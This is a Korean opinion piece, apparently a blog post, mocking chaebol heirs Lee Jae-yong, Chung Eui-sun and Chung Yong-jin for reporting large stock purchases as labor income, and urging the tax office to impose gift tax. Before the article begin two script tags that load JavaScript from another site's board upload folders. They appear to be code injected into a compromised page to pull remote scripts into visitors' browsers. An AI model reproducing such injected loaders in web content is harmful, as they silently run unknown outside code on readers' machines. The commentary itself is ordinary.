<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 재벌 2,3세 이재용, 정의선 씨 등 근로소득 수 천 억원?
개정 5% 룰에 따른 주식을 산 자금출처를 묻는 금융감독원의 질문에 위에 거론한 재벌 2,3세들은 ‘근로소득(월급 등 일해서 번 돈)’이라고 신고했다. 재벌 2,3세들이 근로로 인한 소득이라? 어디 한 번 살펴보자.
삼성전자 이재용상무는 시가 5,000억원 규모(취득 당시 450억원)인 보유 지분 96만주를 ‘근로소득 등 자기자금’으로 매입했다 한다.
신세계 정용진 상무는 시가 2,700억원대의 보유주식 88만주를 ‘근로소득 및 배당 등 금융소득’으로 매입했다 한다.
기아자동차 정의선 사장은 시가 440억원의 보유주식을 ‘근로소득 등’으로 매입했다 한다.
금융감독권은 개정된 5% 룰에서 지분매입 자금출처가 자기자금일 경우 근로소득이나 금융소득, 증여자금으로 구분하여 신고토록 했고 상속이나 증여로 조성된 자금이나 금융소득 기여도가 더 많음에도 불구하고 근로소득 위주로 신고했다면 허위신고라고 한다.
그런데 금융감독원은 이들이 대부분 근로소득이라 신고했더라도 이것이 허위신고라고 입증할 근거나 조사권한이 없다고 한다. 외국자본에게는 주식매입자금출처를 상세히 보고하도록 하면서 국내 재벌들에게는 적당히 보고해도 된다면 이 역시 역차별이다. 그동안 국내재벌들은 외국자본에 비해 규제가 많다며 역차별을 주장해 왔는데 이 점에서는 정반대다.
만약 삼성 이재용씨가 근로소득으로 취득 당시 450억원을 모았다고 가정해 보자. 연봉을 1억원으로 했을 경우 450년이 걸린다. 그건 말이 안 되지. 너무 긴 세월이니 억지로 줄여보자. 연봉 10억원을 벌었다고 가정할 경우 45년이 걸린다. 그것도 말이 안 되네? 그럼 연봉 100억원? 그것도 삼성에서 받았다면 할아버지인 이병철씨나 아버지인 이건희씨에게서 받았을 터인데 옳거니, 그것은 봉급이 아니고 ‘증여’라고!
그럼 방법은 단 한 가지 밖에. 국세청이 증여세를 부과하는 수밖에 없다. 금융감독원이 자금출처를 물은 뒤 그 자금에 구린내가 나면 국세청은 세금을 부과하면 될 일이다. 도대체 서민들이나 쥐꼬리 월급봉투인 유리알 지갑의 노동자들에게는 10원짜리까지 뜯어가는 국세청이 이렇게 엄청난 증여에 대해서 세금을 매기지 않으면 직무유기 아닌가?
근로소득이 수천억원이라는 재벌 2,3세들, 지금 근로자(노동자) 우롱하는가?
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